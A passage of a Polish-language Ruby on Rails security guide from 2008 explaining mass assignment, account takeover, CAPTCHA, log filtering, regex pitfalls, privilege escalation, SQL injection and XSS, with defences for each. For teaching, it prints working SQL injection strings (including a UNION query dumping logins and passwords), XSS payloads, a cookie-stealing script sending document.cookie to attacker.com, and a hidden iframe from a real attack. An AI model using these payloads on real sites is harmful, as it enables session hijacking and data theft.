Kolejnym popularnym atakiem jest spamowanie twojej strony, bloga lub forum, w celu rozprzestrzenienia złośliwego XSS. Oczywiście, osoba atakująca musi znać strukturę URL, ale większość tych wykorzystywanych przez Railsy jest dość prosta lub łatwa do odgadnięcia, jeśli jest to jeden z open sourcowych interfejsów administracyjnych. Atakujący może próbować nawet 1000 kombinacji (składników URLa – przyp. red.) poprzez złośliwe tagi IMG. Informacje o ochronie przeciwko CSRF w interfejsach administracyjnych i aplikacjach intranetowych, znajdują się w dziale o ochronie przeciw CSRF.

5.1 Dodatkowe środki ostrożności

Przeciętny interfejs administracyjny działa tak: jest umieszczony w www.example.com/admin, może być dostępny tylko wtedy, gdy flaga administratora jest ustawiona w modelu użytkownika, wyświetla dane wprowadzone przez użytkownika i pozwala administratorowi usuwać/dodawać/edytować wszystko, na co ma ochotę. Oto kilka słów na ten temat:

  • Bardzo ważne jest, żeby myśleć o najgorszym przypadku: Co zrobić, jeśli ktoś naprawdę przejmie moje pliki cookie lub dane uwierzytelniające użytkownika. Można wprowadzić role w interfejsie administratora, aby ograniczyć możliwości atakującego. Można też wprowadzić odrębny login i hasło do interfejsu administratora, inne niż te używane do publicznej części aplikacji albo specjalne hasło do bardzo poważnych działań?
  • Czy admin naprawdę ma dostęp do interfejsu z każdego miejsca na świecie? Pomyśl o ograniczeniu logowania do kilka adresów IP_. Zbadaj request.remoteip, aby poznać adres IP użytkowników. Nie gwarantuje to stuprocentowej ochrony, ale na pewno stanowi dużą przeszkodę. Pamiętaj jednak, że ktoś może używać serwera Proxy.
  • Umieść specjalny interfejs administracyjny w sub-domenie takiej jak admin.application.com i stwórz z niej odrębną aplikację, z odrębnym zarządzaniem użytkownikami. To sprawia, że kradzież cookie administratora ze zwykłej domeny www.application.com jest niemożliwa. Wynika to z konceptu “same origin Policy” w przeglądarce: skrypt (XSS) wstawiony na stronie www.application.com nie może odczytać cookie z admin.application.com i vice versa.

6 Masowe przypisanie

Bez zachowania środków ostrożności Model.new(params[:model]) pozwala atakującemu na ustawienie wartości dowolnej kolumny w bazie danych.

Masowe przypisanie może stać się problemem, ponieważ umożliwia atakującemu ustawienie atrybutów każdego modelu poprzez manipulację tablicą asocjacyjną przekazywaną do metody new() modelu:

def signup params[:user] # => {:name => “ow3ned”, :admin => true} @user = User.new(params[:user]) end

Masowe przypisanie może zaoszczędzić ciężkiej pracy, ponieważ nie musisz ustawiać wszystkich wartości indywidualnie. Wystarczy przekazać tablicę asocjacyjną do metody new() lub przekazać do metody attributes=(attributes) tablicę asocjacyjną, aby ustawić atrybuty modelu zgodnie z jej zawartością. Problemem jest, że jest to często używane w połączeniu z tablicą asocjacyjną parametrów (params) w kontrolerze, która może być zmodyfikowana przez atakującego. Może to zrobić poprzez zmianę adresu URL w taki sposób:

http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1

Pozwoli to ustalić następujące parametry w kontrolerze:

params[:user] # => {:name => “ow3ned”, :admin => true}

Więc tworząc nowego użytkownika za pomocą masowego przypisania, zbyt łatwo można stać się administratorem.

Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the attributes= method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The accepts_nested_attributes_for declaration provides us the ability to extend mass assignment to model associations (has_many, has_one, has_and_belongs_to_many). For example:

class Person < ActiveRecord::Base has_many :children accepts_nested_attributes_for :children end class Child < ActiveRecord::Base belongs_to :person end

As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).

6.1 Sposoby ochrony

Aby tego uniknąć Railsy oferują dwie klasowe metody w klasie ActiveRecord do kontroli dostępu do atrybutów. Metoda attr_protected stanowi listę atrybutów, które nie będą dostępne dla masowego przypisania. Na przykład:

attr_protected :admin

O wiele lepsze rozwiązanie, kierujące się zasadą białej listy to metoda attr_accessible_. Jest to dokładne przeciwieństwo attrprotected, ponieważ dotyczy listy atrybutów, które będą dostępne. Wszystkie inne atrybuty będą chronione. W ten sposób nigdy nie zapomnisz o ochronie nowych atrybutów podczas ich dodawania w trakcie rozwoju aplikacji. Oto przykład:

attr_accessible :name

Jeśli chcesz ustawić atrybut chroniony, będziesz musiał przypisać go indywidualnie:

params[:user] # => {:name => "ow3ned", :admin => true} @user = User.new(params[:user]) @user.admin # => false # not mass-assigned @user.admin = true @user.admin # => true

7 Zarządzanie użytkownikami

Prawie każda aplikacja internetowa ma do czynienia z uwierzytelnianiem i autoryzacją. Zamiast kroczenia własną drogą, wskazane jest stosowanie typowych wtyczek (pluginów). Ale ważne jest, aby je aktualizować. Kilka dodatkowych środków ostrożności sprawi, że twoja aplikacja będzie jeszcze bezpieczniejsza.

Istnieje kilka wtyczek obsługujących uwierzytelnianie i autoryzację, dostępnych w Railsach. Te lepsze zapisują tylko zaszyfrowane hasła, a nie te czysto tekstowe. Najbardziej popularną wtyczką jest restful_authentication, która chroni również przed atakami typu session fixation. Jednak wcześniejsze wersje w niektórych okolicznościach dopuszczały do logowanie bez nazwy użytkownika i hasła.

Każdy nowy użytkownik otrzymuje kod aktywacyjny, aby aktywować swoje konto. Link do aktywacji wysyłany jest w mailu. Po aktywacji konta, kolumna activation_code w bazie danych będzie ustawiona na NULL. Jeśli ktoś wyśle żądanie pod taki URL, będzie zalogowany jako pierwszy aktywowany użytkownik, jakiego można znaleźć w bazie danych (i są szanse, że będzie to administrator):

http://localhost:3006/user/activate http://localhost:3006/user/activate?id=

Jest to możliwe, gdyż na niektórych serwerach parametr id, tak jak w params[:id], miałby wartość nil. Natomiast poniżej przedstawiony jest kod w akcji aktywacji:

User.find_by_activation_code(params[:id])

Jeśli parametr miałby wartość nil, wynikowe zapytanie SQL będzie następujące:

SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1

Znaleziony zostanie pierwszy użytkownika w bazie danych i metoda ta spowoduje jego zalogowanie. Więcej o tym problemie możesz przeczytać na moim blogu. Od czasu do czasu powinieneś aktualizować swoje wtyczki. Ponadto możesz przeglądnąć swoją aplikację, żeby znaleźć więcej takich wad.

7.1 Ataki typu brute-force na konta użytkowników

Ataki typu brute-force na dane logowania użytkowników są robione metodą prób i błędów. Możesz odpierać je stosując bardziej ogólne komunikaty o błędach i ewentualnie wymagać wprowadzania CAPTCHA.

Lista nazw użytkowników dla aplikacji internetowej może być wykorzystana do ataku typu brute-force na odpowiadające im hasła, ponieważ większość ludzi nie używa wyszukanych haseł. Większość haseł stanowi połączenie wyrazów ze słownika i ewentualnie numerów. Uzbrojony w listę nazw użytkowników i w słownik, automatyczny program może znaleźć odpowiednie hasło w ciągu kilku minut.

Z tego powodu, większość aplikacji internetowych wyświetli ogólny komunikat o błędzie “Błędna nazwa użytkownika lub hasło”, jeśli jedna z nich nie jest poprawna. Jeśli komunikat brzmi: “Wpisana nazwa użytkownika nie została znaleziona”, atakujący mógłby automatycznie sporządzić listę nazw użytkowników.

Jednak tym, co najczęściej zaniedbują projektanci aplikacji internetowych, są strony do przypominania hasła. Strony te często przyznają, że wpisana nazwa użytkownika lub adres e-mail (nie) została znaleziona. To pozwala atakującemu na skompilowanie listy nazw użytkowników i atak typu brute-force na ich konta.

W celu złagodzenia takich ataków, wyświetlaj ogólne komunikat o błędzie, również na stronach z zapomnianymi hasłami. Ponadto, możesz wymagać, aby wprowadzić CAPTCHA po kilku błędach logowania z określonego adresu IP. Należy jednak pamiętać, że nie jest to stuprocentowa ochrona przed automatycznymi programami, ponieważ te programy również mogą zmieniać adres IP z którego atakują. Co nie zmienia faktu, że utrudnia to przeprowadzenie ataku.

7.2 Przejęcie konta użytkownika

Wiele aplikacji internetowych pozwalają na łatwe przejęcie kont innych użytkowników. Dlaczego by nie zrobić na odwrót i tego nie utrudnić?

7.2.1 Hasła

Pomyśl o sytuacji, gdy atakujący posiada skradzione cookie sesji użytkownika, a zatem może wspólnie z użytkownikiem używać aplikacji. Jeżeli zmiana hasła jest łatwa, atakujący będzie mógł przejąć konto w kilku kliknięciach. Podobnie jeżeli formularz zmiany hasła jest podatny na atak CSRF, atakujący będzie mógł zmienić hasło ofiary wabiąc ją do strony internetowej, gdzie jest spreparowany IMG-tag, który odpala CSRF. Można temu zaradzić i stworzyć formularz zmiany hasła odporny na CSRF i wymagać od użytkownika, aby wprowadzał stare hasło przy jego zmianie.

7.2.2 Maile

Jednakże, atakujący może również przejąć konto zmieniając adres e-mail. Po jego zmianie, przejdzie na stronę z zapomnianym hasłem i (prawdopodobnie nowe) hasło zostanie wysłane na adres e-mail atakującej osoby. Żeby temu zaradzić, można również wymagać od użytkownika, aby wprowadził hasło przy zmianie adresu e-mail.

7.2.3 Inne

W zależności od Twojej aplikacji internetowej, może być więcej sposobów na przejęcie konta użytkownika. W wielu przypadkach można to zrobić za pomocą XSS i CSRF. Weźmy na przykład podatność na CSRF w http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. W zarysie atak ten miał polegać na tym, że ofiara była wabiona do witryny internetowej kontrolowanej przez atakującego. Na tej stronie był spreparowany IMG-tag, którego skutkiem było żądanie HTTP GET, zmieniające ustawienia filtru w Google Mail. Jeżeli ofiara byłaby zalogowana na Google Mail, atakujący zmieniłby filtry i ustawił przekazywanie wszystkich wiadomości e-mail na jego adres e-mail. Jest to prawie tak szkodliwe, jak przejęcie całego konta. Można temu zaradzić przeglądając logikę aplikacji i eliminując wszystkie luki wrażliwe na XSS i CSRF.

7.3 CAPTCHA

CAPTCHA jest testem typu challenge-response w celu ustalenia, że odpowiedź nie jest generowana przez komputer. Jest często używany do ochrony formularzy komentowania przed automatycznymi spam-botami. CAPTCHA prosi użytkownika o wypisanie liter z zniekształconego obrazka. Pomysł negatywnego CAPTCHA nie jest po to by udowadniać, że użytkownik jest człowiekiem, lecz po to, by ujawniać, że robot jest robotem.

Ale nie tylko spam-boty są problemem. Boty automatycznie logujące również są problematyczne. Popularnym CAPTCHA API jest reCAPTCHA, które wyświetla dwa zniekształcone obrazy zawierające słowa ze starych książek. ReCAPTCHA dodaje również ukośne linie, zamiast zniekształcania tła oraz kształtu tekstu jak to było w przypadku wcześniejszych CAPTCHA, które zostały złamane. Ponadto używanie reCAPTCHA pomaga w tworzeniu cyfrowych wersji starych książek. ReCAPTCHA jest także Railsową wtyczką, o takiej samej nazwie jak API.

Po zarejestrowaniu w reCAPTCHA trzymasz dwa klucze od API, publiczny i prywatny, które trzeba umieścić w swoim środowisku Railsowym. Potem możesz użyć metody recaptcha_tags w widoku i metody verify_recaptcha w kontrolerze. verify_recaptcha zwróci false, jeżeli walidacja zawiedzie. Problem z CAPTCHA jest taki, że są irytująca. Ponadto, niektórzy niedowidzący użytkownicy uznali, że niektóre rodzaje zniekształcenia CAPTCHA są trudne do odczytania. Pomysł negatywnego CAPTCHA nie jest po to by udowadniać, że użytkownik jest człowiekiem, lecz po to, by ujawniać, że robot jest robotem.

Większość botów jest naprawdę głupia – przeszukują sieć i umieszczają spam w każdym znalezionym polu formularza. Negatywne CAPTCHA wykorzystują to i umieszczają pole “lep na muchy” w formularzu, które będzie ukryte przed człowiekiem przez CSS lub JavaScript.

Oto kilka pomysłów, jak ukryć pola “lep na muchy” przez JavaScript i/lub CSS:

- Umieszczenie pola poza widocznym obszarem strony - Stworzenie bardzo małych elementów lub w tym samym kolorze, co tło strony - Zostaw pola widoczne, ale poinformuj ludzi, żeby pozostawili je puste

Najprostsze negatywne CAPTCHA to te, ukryte w polach “lep na muchy”. Po stronie serwera, sprawdzana jest wartość tego pola: jeśli zawiera tekst, to musi być bot. Następnie można zignorować dodany post, lub zwrócić pozytywny wynik, ale nie zapisywać posta w bazie danych. W ten sposób bot będzie zadowolony i przejdzie dalej. Można to również zrobić z irytującymi użytkownikami.

Bardziej wyrafinowane negatywne CAPTCHA możesz znaleźć na blogu Batchelder Ned’a:

- Dołącz pole z aktualnym znacznikiem czasowym UTC i sprawdź go na serwerze. Jeżeli jest on zbyt daleko w przeszłości lub w przyszłości, formularz jest nieprawidłowy. - Nazwy pól dobieraj losowo - Umieszczaj więcej niż jedno pole “lep na muchy” różnego typu, uwzględniając również przyciski akceptacji formularza.

Zauważ, że to chroni Cię jedynie przed automatycznymi botami, specjalnie wykonane roboty nie mogą być w ten sposób zatrzymane. Więc negatywna CAPTCHA może nie okazać się najlepszym sposobem chronienia formularzy logowania.

7.4 Logowanie

Postaraj się, żeby Railsy nie wpisywały haseł w pliku logu.

Domyślnie Railsy rejestrują w logu wszystkie żądania wysyłane do strony internetowej. Ale logi mogą stanowić ogromny problem związany z zabezpieczeniami, ponieważ mogą one zawierać dane logowania, numery kart kredytowych itp. Podczas projektowania bezpieczeństwa aplikacji internetowej należy pomyśleć o tym, co się stanie, gdy atakujący będzie miał (pełny) dostęp do serwera WWW. Szyfrowanie informacji tajnych i haseł w bazie danych okaże się bezużyteczne, jeżeli w logu pojawią się jako zwykły tekst. Możesz filtrować niektóre parametry żądań z logu dzięki metodzie kontrolera filter_parameter_logging. Parametry te będą w logu oznaczone jako [FILTERED].

filter_parameter_logging :password

7.5 Dobre hasła

Czy ciężko Ci zapamiętać wszystkie hasła? Nie zapisuj ich, lecz korzystaj z pierwszych liter wyrazów w łatwym do zapamiętania zdaniu.

Bruce Schneier, technolog zabezpieczeń, przeanalizował 34000 występujących w świecie rzeczywistym nazw użytkowników i haseł ze wspomnianej wcześniej próby wyłudzenia danych z MySpace. Okazuje się, że większość haseł jest dość łatwa do złamania. Oto 20 najpopularniejszych haseł:

password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

Interesujący jest fakt, że tylko 4% tych haseł to słownikowe wyrazy i większość to hasła alfanumeryczne. Jednak słowniki crackerów zawierają wiele dzisiejszych haseł i próbują wszystkich (alfanumerycznych) kombinacji. Jeśli atakujący zna nazwę użytkownika, który używa słabego hasła, w łatwy sposób można dokonać włamania.

Dobrym hasłem jest długa mieszanka alfanumerycznych kombinacji różnego rodziaju. Ponieważ jest to dość trudne do zapamiętania, jest wskazane, aby zapisać tylko pierwsze litery zdania, która można łatwo zapamiętać. Na przykład “The quick brown fox jumps over the lazy dog” będzie “Tqbfjotld”. Zauważ, że jest to tylko przykład, nie należy używać znanego wyrażenia, które może pojawić się w słowniki crackera.

7.6 Wyrażenia regularne

Powszechną pułapką w wyrażeniach regularnych w Ruby jest dopasowanie ciągu na początku i na końcu przez ^ i $, zamiast \A i \z.

Ruby używa nieco innego podejścia niż w wielu innych językach, aby dopasować koniec i początek ciągu znaków. Dlatego nawet w książkach o Ruby i Railsach popełnia się błędy. W jaki sposób może to zagrażać bezpieczeństwu? Wyobraź sobie, że masz model pliku i walidujesz nazwę pliku przez wyrażenie regularne w taki sposób:

class File < ActiveRecord::Base validates_format_of :name, :with => /^[\w\.\-\+]+$/ end

Oznacza to, że model potwierdzi nazwę pliku składającą się tylko ze znaków alfanumerycznych, kropek, + i -. I programista dodaje \^ i $ po to by zagwarantować, że nazwa pliku będzie zawierać wyłącznie te znaki w całym łańcuchu. Jednakże w Ruby ^ i $ odpowiada początkowi i końcu linii. A więc taka nazwa pliku przechodzi przez filtr bez problemów:

file.txt%0A<script>alert('hello')</script>

%0A oznacza znak końca linii w kodowaniu URL i Railsy automatycznie konwertują ten tekst na file.txt\n. Ta nazwa pliku przechodzi przez filtr, gdyż wyrażenie regularne dopasowywane jest do końca linii, reszta nie ma znaczenia. Prawidłowe wyprażenie powinno wyglądać następująco:

/\A[\w\.\-\+]+\z/

7.7 Eskalacja przywilejów

Zmiana pojedynczego parametru może dać użytkownikowi nieautoryzowany dostęp. Pamiętaj, że każdy parametr może ulec zmianie, bez względu na to jak bardzo go ukrywasz lub zaciemniasz.

Najpopularniejszym parametrem, który użytkownik może modyfikować, jest parametr id, jak w http://www.domain.com/project/1, gdziet 1 jest identyfikatorem. Jest on dostępny w params[:id] w kontrolerze. Najprawdopodobniej wykorzystasz go w taki sposób:

@project = Project.find(params[:id])

Jest to w porządku dla niektórych aplikacji internetowych, ale z pewnością nie w przypadku, gdy użytkownik nie ma uprawnień, aby zobaczyć wszystkie projekty. Jeśli użytkownik zmienia id na 42 i nie jest uprawniony do przeglądania tej informacji, to i tak będzie miał do nich dostęp. Zamiast tego sprawdzaj również prawa dostępu użytkownika:

@project = @current_user.projects.find(params[:id])

W zależności od twojej aplikacji internetowej, może być o wiele więcej parametrów, które użytkownik może modyfikować. Przyjmij zasadę, że żadne dane wprowadzane przez użytkownika nie są bezpieczne, dopóki nie zostanie udowodnione, że jest inaczej. Użytkownik może manipulować każdym parametrem.

Nie daj się nabrać na bezpieczeństwo przez zaciemnienie (security by obfuscations) i bezpieczeństwo JavaScript. Zestaw narzędzi programisty (Web Developer Toolbar) dla przeglądarki Mozilla Firefox pozwala przejrzeć i zmienić każde ukryte pole formularza. JavaScript może być wykorzystywany w celu weryfikacji danych użytkownika, ale z pewnością nie po to, by zapobiec wysyłaniu złośliwych żądań z nieoczekiwanymi wartościami. Wtyczka Live Http Headers do przeglądarki Mozilla Firefox rejestruje każde żądanie, może je powtarzać i zmieniać. Jest to prosty sposób na ominięcie wszelkich walidacji przez JavaScript. Są też nawet proxy po stronie klienta, które pozwalają na przechwytywanie wszelkich żądań i odpowiedzi z i do Internetu.

8 Atak typu Injection

Klasa ataków typu injection polega na wprowadzeniu złośliwego kodu lub parametrów do aplikacji internetowej w celu uruchomienia go w kontekście jej bezpieczeństwa. Typowym przykład ataku typu injection jest atak cross-site scripting (XSS) i atak typu SQL injection.

Atak typu injection jest bardzo podstępny, ponieważ ten sam kod lub parametr może być złośliwy w jednym kontekście, ale całkowicie nieszkodliwy w innym. Kontekstem może być skrypt, zapytania lub język programowania, powłoka (Shell) lub metoda w Ruby/Rails. Poniższe sekcje będą obejmować wszystkie ważne konteksty gdzie mogą wystąpić ataki typu injection. Pierwsza część obejmuje architektoniczne decyzje związane z atakiem typu injection.

8.1 Białe listy vs Czarne listy

Przy czyszczeniu, ochronie lub sprawdzeniu czegoś, białe listy wygrywają z czarnymi.

Czarna lista może być zbiorem złych adresów e-mail, akcji, które nie są publiczne lub złych tagów HTML. Jest przeciwieństwem białej listy, która zawiera dobre adresy e-mail, publiczne akcje, dobre znaczniki HTML i tak dalej. Chociaż czasami nie jest możliwe stworzenie białej listy (na przykład filtr antyspamowy), lepiej jest używać właśnie jej:

  • Korzystaj z before_filter :only => [...] zamiast expect => [...]. W ten sposób nie zapomnisz go wyłączyć dla świeżo dodanych akcji.
  • Korzystaj z attr_accessible zamiast attr_protected. Szczegóły znajdziesz w sekcji o masowym przypisaniu.
  • Zezwól na <strong> zamiast usuwania <script> przeciwko Cross-Site Scripting (XSS). Zobacz poniżej.
  • Nie próbuj poprawiać wejścia użytkownika przez czarne listy:
    • W ten sposób atak będzie działał tak: "<sc<script>ript>".gsub("<script>", "")
    • Po prostu odrzucaj nieprawidłowe dane wejściowe

Białe listy są również dobre w przypadku gdy ludzie zapominają pewnych rzeczy umieścić na czarnych listach.

8.2 Atak typu SQL Injection

Dzięki zmyślnym metodom, ten problem zniknął już w większości aplikacji Railsowych. Jest to jednak bardzo niszczycielski i powszechny atak na aplikacje internetowe, więc ważne jest, aby zrozumieć problem.

8.2.1 Wstęp

Atak typu SQL injection ma na celu wpływanie na zapytania do bazy danych poprzez manipulowanie parametrami aplikacji internetowej. Popularnym celem ataków typu SQL injection jest ominięcie autoryzacji. Kolejnym celem jest manipulacja danymi lub odczyt dowolnych danych. Oto przykład, jak nie używać danych wprowadzonych przez użytkownika w zapytaniu:

Project.find(:all, :conditions => "name = '#{params[:name]}'")

Może to być w akcji wyszukiwania i użytkownik może wpisać nazwę projektu, który chce znaleźć. Jeśli złośliwy użytkownik wpisze ’ OR 1=1’, wynikiem zapytania SQL będzie:

SELECT * FROM projects WHERE name = '' OR 1 --'

Dwie kreski rozpoczynają komentarz ignorując wszystko po nim. Zatem zapytanie zwraca wszystkie rekordy z tabeli projekty, w tym te niewidoczne dla użytkownika. Dzieje się tak, ponieważ warunek jest prawdziwy dla wszystkich rekordów.

8.2.2 Pominięcie autoryzacji

Zwykle aplikacja internetowa zawiera kontrolę dostępu. Użytkownik wprowadza jego dane logowania, a aplikacja próbuje znaleźć pasujący rekord w tabeli użytkowników. Aplikacja zapewnia dostęp, jeżeli znajdzie rekord. Jednakże, osoba atakująca może ewentualnie pominąć ten krok poprzez atak SQL injection. Poniżej pokazane jest typowe zapytanie do bazy danych w Railsach w celu znalezienia pierwszego rekordu w tabeli użytkowników, który pasuje do parametrów logowania dostarczonych przez użytkownika.

User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'")

Jeżeli atakujący wprowadzi \'' OR 1=1 jako imię i '' OR 2>1 jako hasło, rezultat zapytania SQL będzie następujący:

SELECT * FROM users WHERE login = '' OR 1=1 AND password = '' OR 2>1 LIMIT 1

To po prostu znajdzie pierwszego użytkownika w bazie danych i zapewni mu dostęp do aplikacji.

8.2.3 Nieautoryzowane czytanie

Klauzula UNION łączy dwa zapytania SQL i zwraca dane w jednym zestawie. Atakujący może jej użyć do odczytu arbitralnych danych z bazy. Weźmy wcześniejszy przykład:

Project.find(:all, :conditions => "name = '#{params[:name]}'")

A teraz wprowadźmy inne zapytanie używając UNION:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

W rezultacie otrzymamy następujące zapytanie SQL:

SELECT * FROM projects WHERE (name = '') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --')

Rezultatem nie będzie lista projektów (ponieważ nie ma projektu z pustym polem nazwy), tylko lista nazw użytkowników i ich hasła. Miejmy nadzieję, że zaszyfrowałeś hasła w bazie danych! Jedynym problemem dla atakującego jest to, że liczba kolumn musi być taka sama w obu zapytaniach. Dlatego drugie zapytanie zawiera listę jedynek (1), która zawsze będzie mieć wartość 1, w celu dopasowania liczby kolumn w pierwszym zapytaniu.

Również drugie zapytanie zmienia nazwy niektórych kolumn korzystając z AS tak aby aplikacja internetowa wyświetlała wartości z tabeli użytkowników. Pamiętaj, aby zaktualizować Railsy przynajmniej do wersji 2.1.1.

8.2.4 Sposoby ochrony

Ruby on Rails jest wyposażone w specjalny filtr dla znaków SQL, do których należą znaki cytowania ’ , " , napis NULL i podział wiersza. Korzystając z Model.find(id) lub Model.find_by_something(something) automatycznie stosujesz ochronę. Ale fragmenty SQL, szczególnie w warunkach (:conditions => "..."), metody connection.execute() lub Model.find_by_sql() muszą być zabezpieczone ręcznie.

Zamiast przekazywać łańcuch znaków do opcji conditions, możesz przekazać tablicę aby oczyścić zanieczyszczone łańcuchy w następujący sposób:

Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password])

Jak widać, pierwsza część tablicy jest fragmentem SQL ze znakami zapytania. W oczyszczonej wersji zmienne w drugiej części tablicy zastąpiły znaki zapytania. To samo można zrobić z tablicą asocjacyjną:

Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password})

Ta metoda wykorzystująca tablicę zwykłą lub asocjacyjną jest dostępny tylko dla instancji modelu. W innych miejscach możesz spróbować sanitize_sql(). Nabierz nawyku myślenia o konsekwencjach bezpieczeństwa gdy korzystasz z zewnętrznego ciągu znaków w zapytaniach SQL.

8.3 Atak Cross-Site Scripting (XSS)

Najbardziej rozpowszechnionym i zarazem jednym z najbardziej niszczycielski dla aplikacji internetowych jest atak typu XSS. Ten złośliwy atak wprowadza wykonywalny kod po stronie klienta. Railsy dostarczają helpery, żeby się przed nim bronić.

8.3.1 Punkty wejścia

Punktem wejścia jest podatny adres URL i jego parametry, od których można rozpocząć atak.

Najczęstszymi punktami wejścia są posty, komentarze użytkowników i księgi gości, ale tytuły projektów, nazwy dokumentów i strony z wynikami wyszukiwania również są narażone – niemal wszystkie miejsca, w których użytkownik może wprowadzać dane. Jednakże dane wejściowe nie muszą pochodzić z formularzy na stronach internetowych. Może być to jakikolwiek parametr URL – nawet ukryty lub wewnętrzny. Pamiętaj, że użytkownik może przechwycić wszelki ruch z i do aplikacji. Aplikacje takie jak http://livehttpheaders.mozdev.org/[wtyczka Live HTTP Headers dla Firefox’a] lub Proxy po stronie klienta ułatwiają modyfikację żądania.

Ataki XSS działają w taki sposób: atakujący wprowadza jakiś kod, aplikacja internetowa zapisuje go i wyświetla na stronie, a później przedstawia ofierze. Większość przykładów na XSS po prostu wyświetla okno ostrzegawcze (alert box), ale jego możliwości są dużo bardziej groźne. XSS może wykraść cookies, przechwytywać sesje; przekierowywać ofiary do fałszywej strony internetowej, wyświetlać reklamy na korzyść atakującego, zmieniać elementy na stronie internetowej aby uzyskać poufne informacje lub instalować złośliwe oprogramowanie poprzez luki w przeglądarce internetowej.

W drugiej połowie 2007 r. było 88 zgłoszonych usterek w Mozilli, 22 w Safari, 18 w IE, a 12 w Operze. W http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security threat report] także udokumentowano 239 usterek we wtyczkach do przeglądarek w ciągu ostatnich sześciu miesięcy 2007 roku. MPack jest bardzo aktywnie rozwijanym i aktualnym frameworkiem do przeprowadzania ataków, który wykorzystuje te luki. Dla hakerów, wizja wykorzystania luk podatnych na ataki typu SQL Injection we frameworkach aplikacji internetowych i wprowadzenie złośliwego kodu w każdej kolumnie tabel tekstowych jest bardzo kuszące. W kwietniu 2008 ponad 510.000 stron zostało zhakowanych w ten sposób. Wśród nich znalazły się strony brytyjskiego rządu, ONZ i wiele innych poważnych instytucji.

Stosunkowo nowymi i niecodziennymi formami ataku są banery reklamowe. We wcześniejszych miesiącach 2008 roku (artykuł pochodzi z listopada 2008 - przyp. red.), złośliwy kod ukazał się w reklamach w formie baneru na popularnych witrynach, takich jak MySpace i Excite (według http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/[Trend Micro]).

8.3.2 Ataki HTML/JavaScript Injection

Najczęściej wykorzystywanym językiem dla XSS jest oczywiście najbardziej popularny język wykonywany po stronie klienta – JavaScript, często w połączeniu z HTML. Czyszczenie danych wprowadzanych przez użytkownika jest niezbędne.

Oto najprostszy test, aby sprawdzić XSS:

<script>alert('Hello');</script>

Ten kod JavaScript po prostu wyświetli ostrzeżenie. Kolejne przykłady robią dokładnie to samo, tylko w bardzo nietypowych miejscach:

<img src="javascript:alert('Hello')"> <table background="javascript:alert('Hello')">

Te przykłady, jak na razie nie robią żadnej szkody, więc zobaczmy w jaki sposób atakujący może wykraść cookies użytkownika (i tym samym przejąć jego sesję). W JavaScript można użyć właściwość document.cookie do odczytu i zapisu cookies. JavaScript egzekwuje zasadę tożsamego pochodzenia, co oznacza, że skrypt z jednej domeny nie może uzyskać dostępu do cookies z innej domeny. We właściwości document.cookie przechowywane jest cookie pochodzące z danego serwera WWW. Jednakże, możesz odczytywać i zapisywać tą wartość, jeśli umieścisz kod bezpośrednio w dokumencie HTML (jak to się dzieje w XSS). Spróbuje umieścić poniższy kot gdziekolwiek na swojej stronie w celu wyświetlenia własnych cookies na stronie wyników:

<script>document.write(document.cookie);</script>

Dla atakujący, oczywiście, nie jest to przydatne, ponieważ ofiara zobaczy swoje własne cookie. W następnym przykładzie spróbujemy załadować obrazek z adresu http://www.attacker.com/ oraz cookie. Oczywiście ten adres nie istnieje, więc przeglądarka nic nie wyświetli. Ale atakujący może dokonać przeglądu raportu dostępu do jego serwera, żeby sprawdzić cookie ofiar.

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

Raport na www.attacker.com będzie wyglądać tak:

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Możesz zmniejszyć te ataki (w sposób oczywisty) poprzez dodanie flagi httpOnly cookies, żeby document.cookie nie mógł być odczytany przez JavaScript. Cookies httpOnly mogą być używane pod IE v6.SP1, Firefoxoxem v2.0.0.5 i Operą 9.5. Safari nadal ignoruje tą opcję. Ale w innych, starszych przeglądarkach (np. WebTV i IE 5.5 na Macu) może to powodować problemy z ładowaniem się stron. Ostrzegamy, że pliki cookie nadal będą widoczne przy użyciu technologii Ajax.

8.3.2.2 Atak typu Defacement

Poprzez atak typu defacement (zniszczenie, zeszpecenie) atakujący może zrobić wiele rzeczy, na przykład przedstawiać fałszywe informacje lub wabić ofiary na swoją stronę internetową, żeby wykraść cookies, dane logowania lub innych wrażliwe informacje. Najbardziej popularnym sposobem jest wstawienie kodu z zewnętrznych źródeł przez iframe:

<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>

Powyższy kod załaduje arbitralny kod HTML i/lub JavaScript z zewnętrznego źródła i osadzi go jako część witryny. Ten kod pochodzi z http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[rzeczywistego ataku] prawdziwych włoskich stron przy użyciu frameworku ataku MPack. MPack próbuje zainstalować złośliwe oprogramowanie poprzez luki w przeglądarce internetowej – jest bardzo skuteczny, 50% ataków kończy się sukcesem.

Bardziej specjalistyczne ataki mogą zakrywać całą stronę internetową lub wyświetlać formularz logowania, który wygląda tak samo jak oryginalny, lecz przekazuje nazwę użytkownika i hasło na stronę atakującego. Może też używać CSS i/lub JavaScript do ukrycia ważnych linków w aplikacji internetowej i wyświetlać inne, który przekierowują do fałszywej strony internetowej.

Odbite (ang. reflectd) ataki typu injection to te, w których treść nie jest od razu przedstawiana ofierze, ale dołączana do adresu URL. Zwłaszcza formularze wyszukiwania często pomijają czyszczenie danych wejściowych. Następujący link przedstawiał stronę, która twierdziła, że “George Bush powołał 9-letniego chłopca na przewodniczącego …”:

